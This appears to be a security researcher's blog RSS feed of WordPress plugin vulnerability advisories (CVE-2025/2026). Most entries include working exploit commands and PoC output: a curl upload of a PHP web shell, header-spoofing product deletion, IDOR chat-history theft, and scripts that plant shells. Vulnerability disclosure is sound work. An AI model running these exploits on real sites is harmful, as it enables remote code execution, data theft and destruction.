<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Posts on </title>
		<link>https://ryankozak.com/posts/</link>
		<description>Recent content in Posts on </description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Fri, 05 Jun 2026 00:01:00 +0000</lastBuildDate>
		
			<atom:link href="https://ryankozak.com/posts/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>MDJM Event Management &lt;= 1.7.8.3 - Authenticated (Administrator&#43;) Arbitrary File Upload via mdjm_email_upload_file Parameter</title>
				<link>https://ryankozak.com/posts/cve-2026-7537/</link>
				<pubDate>Fri, 05 Jun 2026 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2026-7537/</guid>
				<description>&lt;h3 id=&#34;cve-2026-7537&#34;&gt;CVE-2026-7537&lt;/h3&gt;&#xA;&lt;p&gt;The WordPress &lt;a href=&#34;https://wordpress.org/plugins/mobile-dj-manager/&#34; target=&#34;_blank&#34;&gt;MDJM Event Management&lt;/a&gt; plugin (version 1.7.8.3 and prior) contains an arbitrary file upload vulnerability that allows authenticated administrators to upload malicious PHP files to the server, potentially leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2026-7537/blob/master/CVE-2026-7537.py&#34; target=&#34;_blank&#34;&gt;CVE-2026-7537.py&lt;/a&gt; is provided to demonstrate an authenticated attacker uploading shell.php and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 ./CVE-2026-7537.py http://target-site.com admin password123&#xA;[+] Logging into: http://target-site.com/wp-admin&#xA;[+] Extracting nonce values...&#xA;[+] Uploading web shell: shell.php&#xA;[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php&#xA;[+]&#xA;[+] Executing test command: id&#xA;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-description&#34;&gt;Technical Description&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;mdjm_send_comm_email()&lt;/code&gt; function in the communications feature. The upload functionality lacks proper file validation while processing file attachments for email communications. This allows authenticated users with the &lt;code&gt;mdjm_comms_send&lt;/code&gt; capability (administrators and MDJM admins by default) to upload arbitrary files, including PHP files that can be executed on the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Kalrav AI Agent &lt;= 2.3.3 - Unauthenticated Arbitrary File Upload via kalrav_upload_file AJAX Action</title>
				<link>https://ryankozak.com/posts/cve-2025-13374/</link>
				<pubDate>Fri, 23 Jan 2026 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-13374/</guid>
				<description>&lt;h3 id=&#34;cve-2025-13374&#34;&gt;CVE-2025-13374&lt;/h3&gt;&#xA;&lt;p&gt;The WordPress &lt;a href=&#34;https://wordpress.org/plugins/kalrav-ai-agent&#34; target=&#34;_blank&#34;&gt;Kalrav AI Agent&lt;/a&gt; plugin (version 2.3.3 and prior) contains an arbitrary file upload vulnerability that allows unauthenticated users to upload malicious PHP files to the server, potentially leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-13374/blob/master/CVE-2025-13374.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-13374.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading &lt;code&gt;shell.php&lt;/code&gt; and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 ./CVE-2025-13374.py http://techcorp.cc&#xA;[+] Target: http://techcorp.cc&#xA;[+] File uploaded successfully!&#xA;[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php&#xA;[+] Command output:&#xA;www-data&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-description&#34;&gt;Technical Description&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;kalrav_upload_file()&lt;/code&gt; function at the &lt;code&gt;/wp-admin/admin-ajax.php&lt;/code&gt; endpoint. The upload functionality lacks proper file validation, nonce verification, and capability checks. This allows unauthenticated users to upload arbitrary files, including PHP files that can be executed on the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Flex QR Code Generator &lt;= 1.2.6 - Unauthenticated Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-12673/</link>
				<pubDate>Fri, 05 Dec 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12673/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12673&#34;&gt;CVE-2025-12673&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/flex-qr-code-generator/&#34; target=&#34;_blank&#34;&gt;Flex QR Code Generator&lt;/a&gt; plugin does not validate user permission or sanitize file uploads in its &lt;code&gt;update_qr_code&lt;/code&gt; AJAX endpoint, allowing unauthenticated attackers to upload arbitrary files including executable PHP scripts, leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Upload PHP webshell&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;cmd&amp;#34;]); ?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://victimsite.com/wp-admin/admin-ajax.php&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;action=flexqr_update_qr&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;qrId=1&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;qrData={\&amp;#34;data\&amp;#34;:\&amp;#34;https://example.com\&amp;#34;}&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;logo=@shell.php&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;update_qr_code&lt;/code&gt; method of the &lt;code&gt;FlexQrCodeGenerator&lt;/code&gt; class. The plugin registers AJAX endpoints for unauthenticated users, allowing any visitor to upload arbitrary files that get stored in the WordPress uploads directory.&lt;/p&gt;</description>
			</item>
			<item>
				<title>g-FFL Cockpit &lt;= 1.7.1 - Improper Authorization to Unauthenticated Product Deletion</title>
				<link>https://ryankozak.com/posts/cve-2025-12720/</link>
				<pubDate>Fri, 05 Dec 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12720/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12720&#34;&gt;CVE-2025-12720&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/g-ffl-cockpit/&#34; target=&#34;_blank&#34;&gt;g-FFL Cockpit&lt;/a&gt; plugin does not implement proper authorization checks on the &lt;code&gt;queue&lt;/code&gt; and &lt;code&gt;process&lt;/code&gt; REST API endpoints, allowing unauthenticated users to delete arbitrary WooCommerce products by spoofing HTTP headers to bypass IP-based authentication.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TARGET_SITE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-For: 3.212.185.187&amp;#34;&lt;/span&gt; -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;action&amp;#34;:&amp;#34;delete&amp;#34;,&amp;#34;products&amp;#34;:[{&amp;#34;id&amp;#34;:105}]}&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Forwarded-For: 3.212.185.187&amp;#34;&lt;/span&gt; -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L34&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;queue&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L40&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;process&lt;/code&gt;&lt;/a&gt; REST API endpoints use IP-based authentication that can be bypassed by spoofing the &lt;code&gt;X-Forwarded-For&lt;/code&gt; or &lt;code&gt;CF-Connecting-IP&lt;/code&gt; HTTP headers. The authentication mechanism relies on &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L11&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;get_client_ip()&lt;/code&gt;&lt;/a&gt; which trusts user-controllable headers, and checks against a hardcoded IP address stored in the plugin source code.&lt;/p&gt;</description>
			</item>
			<item>
				<title>g-FFL Cockpit &lt;= 1.7.1 - Missing Authorization to Unauthenticated Information Exposure</title>
				<link>https://ryankozak.com/posts/cve-2025-12721/</link>
				<pubDate>Fri, 05 Dec 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12721/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12721&#34;&gt;CVE-2025-12721&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/g-ffl-cockpit/&#34; target=&#34;_blank&#34;&gt;g-FFL Cockpit&lt;/a&gt; plugin does not implement proper authorization checks on the &lt;code&gt;server_status&lt;/code&gt; REST API endpoint, allowing unauthenticated users to access sensitive server configuration information, PHP settings, database details, WordPress installation metadata, and active plugin information through an exposed public endpoint.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TARGET_SITE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L1385&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;handle_server_status()&lt;/code&gt;&lt;/a&gt; function in &lt;code&gt;includes/class-sync-endpoint.php&lt;/code&gt; retrieves and exposes comprehensive server information without requiring any authentication or capability checks. The endpoint is registered with &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/g-ffl-cockpit/trunk/includes/class-sync-endpoint.php#L91&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;permission_callback =&amp;gt; &#39;__return_true&#39;&lt;/code&gt;&lt;/a&gt;, making it completely accessible to any unauthenticated visitor.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Bread &amp; Butter: Gate content &#43; Capture leads &#43; Collect first-party data &#43; Nurture with Ai agents &lt;= 7.10.1321 - Cross-Site Request Forgery to Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-12189/</link>
				<pubDate>Thu, 04 Dec 2025 00:02:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12189/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12189&#34;&gt;CVE-2025-12189&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/bread-butter/&#34; target=&#34;_blank&#34;&gt;Bread &amp;amp; Butter IO&lt;/a&gt; plugin contains a vulnerability in its image upload functionality that allows &lt;strong&gt;any attacker&lt;/strong&gt; to trick authenticated administrators into uploading arbitrary files to the server, including PHP web shells, leading to &lt;strong&gt;Remote Code Execution (RCE)&lt;/strong&gt;. The vulnerability stems from the &lt;code&gt;uploadImage()&lt;/code&gt; function lacking CSRF protection, allowing attackers to craft malicious requests that administrators&amp;rsquo; browsers will automatically execute.&lt;/p&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;uploadImage()&lt;/code&gt; function in &lt;code&gt;/bread-butter/src/Base/Ajax.php&lt;/code&gt; which lacks proper file validation and CSRF protection, while using &lt;code&gt;file_put_contents()&lt;/code&gt; to write files directly to the WordPress uploads directory before any security checks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>WP Directory Kit &lt;= 1.4.4 - Authentication Bypass to Privilege Escalation via Account Takeover</title>
				<link>https://ryankozak.com/posts/cve-2025-13390/</link>
				<pubDate>Tue, 02 Dec 2025 00:02:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-13390/</guid>
				<description>&lt;h3 id=&#34;cve-2025-13390&#34;&gt;CVE-2025-13390&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/wpdirectorykit/&#34; target=&#34;_blank&#34;&gt;WP Directory Kit&lt;/a&gt; plugin for Wordpress version 1.4.4 and below contains an authentication bypass in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access to WordPress sites by exploiting a cryptographically broken token generation mechanism. The auto-login feature cannot be disabled and uses a predictable token that is derived solely from the MD5 hash of the user ID.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/d0n601/CVE-2025-13390/blob/master/CVE-2025-13390.sh&#34; target=&#34;_blank&#34;&gt;CVE-2025-13390.sh&lt;/a&gt; file uploads a web shell plugin to a target site assuming user ID &lt;code&gt;1&lt;/code&gt; is an administrator.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MxChat – AI Chatbot for WordPress &lt;= 2.5.5 - Unauthenticated Information Exposure</title>
				<link>https://ryankozak.com/posts/cve-2025-12585/</link>
				<pubDate>Tue, 02 Dec 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12585/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12585&#34;&gt;CVE-2025-12585&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/mxchat-basic/&#34; target=&#34;_blank&#34;&gt;MxChat Basic&lt;/a&gt; plugin does not verify session ownership in the &lt;code&gt;mxchat_fetch_conversation_history&lt;/code&gt; AJAX endpoint, allowing unauthenticated users to access other users&amp;rsquo; conversation history and IP addresses through Insecure Direct Object Reference (IDOR) vulnerabilities.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TARGET_SITE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://example.com&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SESSION_ID&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mxchat_chat_7jxi3jsdb&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NONCE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;curl -s $TARGET_SITE | grep -oP &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;nonce[&amp;#34;\047]:\s*[&amp;#34;\047]\K[^&amp;#34;\047]+&amp;#39;&lt;/span&gt; | head -1&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;action=mxchat_fetch_conversation_history&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;session_id=&lt;/span&gt;$SESSION_ID&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nonce=&lt;/span&gt;$NONCE&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;X-Requested-With: XMLHttpRequest&amp;#34;&lt;/span&gt; | jq&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/mxchat-basic/trunk/includes/class-mxchat-integrator.php#L107&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;mxchat_fetch_conversation_history()&lt;/code&gt;&lt;/a&gt; function in &lt;code&gt;/includes/class-mxchat-integrator.php&lt;/code&gt; file retrieves conversation data based solely on a client-provided &lt;code&gt;session_id&lt;/code&gt; without verifying that the requester owns the session. This allows any unauthenticated user with a valid nonce (available via frontend JavaScript) to access other users&amp;rsquo; private conversation data. Additionally, the conversation history includes user IP addresses stored in the &lt;code&gt;agent_name&lt;/code&gt; field, which are disclosed alongside the conversation data.&lt;/p&gt;</description>
			</item>
			<item>
				<title>AI Feeds &lt;= 1.0.11 - Unauthenticated Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-13597/</link>
				<pubDate>Tue, 25 Nov 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-13597/</guid>
				<description>&lt;h3 id=&#34;cve-2025-13597&#34;&gt;CVE-2025-13597&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/ai-feeds/&#34; target=&#34;_blank&#34;&gt;AI Feeds&lt;/a&gt; WordPress plugin versions 1.0.11 and below contain an unauthenticated remote code execution vulnerability in the &lt;code&gt;actualizador_git.php&lt;/code&gt; file. This file is directly accessible via HTTP without any authentication or authorization checks, allowing unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files, leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A &lt;a href=&#34;https://github.com/d0n601/CVE-2025-13597/blob/master/CVE-2025-13597.py&#34; target=&#34;_blank&#34;&gt;exploit.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading &lt;code&gt;shell.php&lt;/code&gt; and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEY -c whoami&#xA;[*] Exploiting actualizador_git.php vulnerability...&#xA;[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce&#xA;Descargando d0n601/minimal-rce@main ...&#xA;Eliminando entradas extra...&#xA;Copiando archivos...&#xA;OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds&#xA;&#xA;[*] Exploit executed. Checking if shell.php was created...&#xA;&#xA;[*] Testing shell access...&#xA;www-data&#xA;&#xA;&#xA;[*] Shell should be accessible at:&#xA;    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-analysis&#34;&gt;Technical Analysis&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in &lt;code&gt;/wp-content/plugins/ai-feeds/actualizador_git.php&lt;/code&gt;. This file implements a GitHub repository mirroring system that can be accessed directly via HTTP without any security controls.&lt;/p&gt;</description>
			</item>
			<item>
				<title>CIBELES AI &lt;= 1.10.8 - Unauthenticated Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-13595/</link>
				<pubDate>Tue, 25 Nov 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-13595/</guid>
				<description>&lt;h3 id=&#34;cve-2025-13595&#34;&gt;CVE-2025-13595&lt;/h3&gt;&#xA;&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/cibeles-ai/&#34; target=&#34;_blank&#34;&gt;Cibeles AI&lt;/a&gt; WordPress plugin versions 1.10.8 and below contain an unauthenticated remote code execution vulnerability in the &lt;code&gt;actualizador_git.php&lt;/code&gt; file. This file is directly accessible via HTTP without any authentication or authorization checks, allowing unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files, leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A &lt;a href=&#34;https://github.com/d0n601/CVE-2025-13595/blob/master/CVE-2025-13595.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-13595.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading &lt;code&gt;shell.php&lt;/code&gt; and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEY -c whoami&#xA;[*] Exploiting actualizador_git.php vulnerability...&#xA;[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce&#xA;Descargando d0n601/minimal-rce@main ...&#xA;Eliminando entradas extra...&#xA;Copiando archivos...&#xA;OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai&#xA;&#xA;[*] Exploit executed. Checking if shell.php was created...&#xA;&#xA;[*] Testing shell access...&#xA;www-data&#xA;&#xA;&#xA;[*] Shell should be accessible at:&#xA;    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-analysis&#34;&gt;Technical Analysis&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in &lt;code&gt;/wp-content/plugins/cibeles-ai/actualizador_git.php&lt;/code&gt;. This file implements a GitHub repository mirroring system that can be accessed directly via HTTP without any security controls.&lt;/p&gt;</description>
			</item>
			<item>
				<title>AI Engine for WordPress: ChatGPT, GPT Content Generator &lt;= 1.0.1 - Authenticated (Contributor&#43;) Arbitrary File Read</title>
				<link>https://ryankozak.com/posts/cve-2025-13380/</link>
				<pubDate>Mon, 24 Nov 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-13380/</guid>
				<description>&lt;h3 id=&#34;cve-2025-13380&#34;&gt;CVE-2025-13380&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/liquid-chatgpt/&#34; target=&#34;_blank&#34;&gt;AI Engine for WordPress&lt;/a&gt; plugin contains a vulnerability in its image insertion feature that allows &lt;strong&gt;any authenticated user with post editing capabilities&lt;/strong&gt; (Contributor, Author, Editor, Administrator) to download arbitrary files from the server. The vulnerability stems from the &lt;code&gt;lqdai_update_post&lt;/code&gt; AJAX endpoint lacking proper capability checks and the &lt;code&gt;insert_image()&lt;/code&gt; function using &lt;code&gt;file_get_contents()&lt;/code&gt; with user-controlled URLs without protocol validation, allowing arbitrary file downloads via the &lt;code&gt;file://&lt;/code&gt; protocol.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-13380/blob/master/CVE-2025-13380.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-13380.py&lt;/a&gt; is provided to demonstrate a Contributor level user downloading the site&amp;rsquo;s &lt;code&gt;wp-config.php&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 